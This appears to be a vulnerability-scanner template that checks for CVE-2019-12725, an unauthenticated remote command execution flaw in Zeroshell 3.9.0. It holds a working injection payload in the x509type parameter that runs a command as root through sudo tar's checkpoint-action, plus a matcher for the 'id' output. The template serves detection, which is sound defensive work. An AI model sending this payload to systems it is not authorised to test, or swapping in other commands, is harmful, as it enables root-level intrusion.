id: CVE-2019-12725 info: name: Zeroshell 3.9.0 Remote Command Execution author: dwisiswant0 severity: critical description: Zeroshell 3.9.0 is prone to a remote command execution vulnerability. Specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands inside the vulnerable parameters. remediation: Upgrade to 3.9.5. Be aware this product is no longer supported. reference: - https://www.zeroshell.org/new-release-and-critical-vulnerability/ - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py tags: cve,cve2019,rce,zeroshell classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.80 cve-id: CVE-2019-12725 cwe-id: CWE-78 requests: - method: GET path: - "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27" matchers-condition: and matchers: - type: status status: - 200 - type: regex regex: - "((u|g)id|groups)=[0-9]{1,4}[a-z0-9]+" # Enhanced by mp on 2022/02/04